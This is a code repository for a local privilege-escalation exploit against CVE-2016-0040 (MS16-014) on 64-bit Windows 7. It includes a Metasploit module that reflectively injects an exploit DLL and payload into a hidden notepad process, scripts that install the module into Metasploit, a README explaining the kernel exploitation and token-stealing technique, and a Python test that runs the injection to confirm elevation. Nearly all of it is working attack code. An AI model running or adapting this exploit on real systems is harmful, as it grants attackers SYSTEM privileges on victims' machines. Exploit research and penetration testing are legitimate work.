-------------------------------------------------------------------------------- /Metasploit/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | sudo cp module.rb /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb 4 | sudo mkdir -p /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/data/exploits/CVE-2016-0040 5 | sudo cp Metasploit.dll /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/data/exploits/CVE-2016-0040/cve-2016-0040.x64.dll 6 | -------------------------------------------------------------------------------- /Metasploit/module.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core/post/windows/reflective_dll_injection' 7 | class MetasploitModule < Msf::Exploit::Local 8 | Rank = NormalRanking 9 | 10 | include Msf::Post::File 11 | include Msf::Post::Windows::Priv 12 | include Msf::Post::Windows::Process 13 | include Msf::Post::Windows::FileInfo 14 | include Msf::Post::Windows::ReflectiveDLLInjection 15 | 16 | def initialize(info={}) 17 | super(update_info(info, { 18 | 'Name' => 'Windows WMI Recieve Notification Exploit', 19 | 'Description' => %q{ 20 | This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. 21 | This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. 22 | }, 23 | 'License' => MSF_LICENSE, 24 | 'Author' => [ 25 | 'smmrootkit', # crash code 26 | 'de7ec7ed', # exploit code 27 | 'de7ec7ed', # msf module 28 | ], 29 | 'Arch' => [ ARCH_X64 ], 30 | 'Platform' => 'win', 31 | 'SessionTypes' => [ 'meterpreter' ], 32 | 'DefaultOptions' => { 33 | 'EXITFUNC' => 'thread', 34 | }, 35 | 'Targets' => [ 36 | [ 'Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 } ] 37 | ], 38 | 'Payload' => { 39 | 'Space' => 4096, 40 | 'DisableNops' => true 41 | }, 42 | 'References' => [ 43 | ['CVE', '2016-0040'], 44 | ['MSB', 'MS16-014'], 45 | ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], 46 | ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], 47 | ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] 48 | ], 49 | 'DisclosureDate' => 'Dec 4 2015', 50 | 'DefaultTarget' => 0 51 | })) 52 | end 53 | 54 | def check 55 | # Windows 7 SP0/SP1 (64-bit) 56 | 57 | if sysinfo['OS'] !~ /windows/i 58 | return Exploit::CheckCode::Unknown 59 | end 60 | 61 | if sysinfo['Architecture'] =~ /(wow|x)64/i 62 | arch = ARCH_X64 63 | end 64 | 65 | file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' 66 | major, minor, build, revision, branch = file_version(file_path) 67 | vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") 68 | 69 | return Exploit::CheckCode::Safe if build > 7601 70 | 71 | return Exploit::CheckCode::Appears 72 | end 73 | 74 | def exploit 75 | if is_system? 76 | fail_with(Failure::None, 'Session is already elevated') 77 | end 78 | 79 | check_result = check 80 | if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown 81 | fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') 82 | end 83 | 84 | if sysinfo['Architecture'] == ARCH_X64 85 | if session.arch == ARCH_X86 86 | fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') 87 | end 88 | end 89 | 90 | print_status('Launching notepad to host the exploit...') 91 | notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) 92 | begin 93 | process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) 94 | print_good("Process #{process.pid} launched.") 95 | rescue Rex::Post::Meterpreter::RequestError 96 | # Reader Sandbox won't allow to create a new process: 97 | # stdapi_sys_process_execute: Operation failed: Access is denied. 98 | print_status('Operation failed. Trying to elevate the current process...') 99 | process = client.sys.process.open 100 | end 101 | 102 | print_status("Reflectively injecting the exploit DLL into #{process.pid}...") 103 | library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'cve-2016-0040.x64.dll') 104 | library_path = ::File.expand_path(library_path) 105 | 106 | print_status("Injecting exploit into #{process.pid}...") 107 | exploit_mem, offset = inject_dll_into_process(process, library_path) 108 | 109 | print_status("Exploit injected. Injecting payload into #{process.pid}...") 110 | payload_mem = inject_into_process(process, payload.encoded) 111 | 112 | # invoke the exploit, passing in the address of the payload that 113 | # we want invoked on successful exploitation. 114 | print_status('Payload injected. Executing exploit...') 115 | process.thread.create(exploit_mem + offset, payload_mem) 116 | 117 | print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") 118 | end 119 | 120 | end 121 | 122 | -------------------------------------------------------------------------------- /Metasploit/uninstall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | sudo rm -rf /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/data/exploits/CVE-2016-0040 4 | sudo rm -f /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | CVE-2016-0040 2 | This exploit builds upon SMMRootkit's 32Bit project (https://github.com/Rootkitsmm/cve-2016-0040) which causes this vulnerability to trigger a BSoD with all 'a's in RCX and 'B's in RAX. 3 | It was ported to 64Bit Windows 7 SP1 and doesn't use the "mov [rcx+06h], rax" instruction for inital stage exploitation but instead the "mov [rdx+8h], rdx instruction to place a self-referencing pointer into a bitmap's pvScan0 variable". 4 | In order to cleanup from side-effect corruptions the win32k heap 4096 bitmaps were allocated which made the addresses of corruption in the target bitmap predictable so they could be restored. In order to build read/write 5 | primitives Core Security's, "Abusing GDI for Ring0 Exploit Primities" (https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives) was referenced but build out Manager and Worker 6 | bitmaps that could be used to perform system process token stealing. -------------------------------------------------------------------------------- /Screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/de7ec7ed/CVE-2016-0040/957ea9e8f5c870a696f2f43ea6ee847e1e3fca6b/Screenshot.png -------------------------------------------------------------------------------- /Test.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import psutil 4 | import time 5 | import multiprocessing 6 | import unittest 7 | import xmlrunner 8 | 9 | Artifacts = "" 10 | 11 | def Worker(): 12 | 13 | while True: 14 | time.sleep(64) 15 | 16 | return 17 | 18 | class TestMetasploit(unittest.TestCase): 19 | 20 | def setUp(self): 21 | 22 | self.worker = multiprocessing.Process(name="Worker", target=Worker) 23 | self.worker.start() 24 | 25 | return 26 | 27 | def tearDown(self): 28 | 29 | self.worker.terminate() 30 | 31 | return 32 | 33 | def testMetasploit(self): 34 | 35 | process = psutil.Process(self.worker.pid) 36 | process.username() 37 | 38 | print("{0}\\inject.exe {1} {0}\\Metasploit.dll".format(Artifacts, self.worker.pid)) 39 | os.system("{0}\\inject.exe {1} {0}\\Metasploit.dll".format(Artifacts, self.worker.pid)) 40 | 41 | self.assertRaises(psutil.AccessDenied, process.username) 42 | 43 | return 44 | 45 | if __name__ == "__main__": 46 | 47 | if len(sys.argv) != 2: 48 | print("{} {Absolute Path To Artifacts Directory}") 49 | sys.exit(-1) 50 | 51 | print("{} {}".format(sys.argv[0], sys.argv[1])) 52 | 53 | Artifacts = sys.argv[1] 54 | 55 | with open("{}\\Results.xml".format(Artifacts), "wb") as file: 56 | unittest.main(argv=[sys.argv[0]], testRunner=xmlrunner.XMLTestRunner(output=file), 57 | failfast=False, buffer=False, catchbreak=False) 58 | 59 | sys.exit(0) -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | psutil 2 | unittest-xml-reporting --------------------------------------------------------------------------------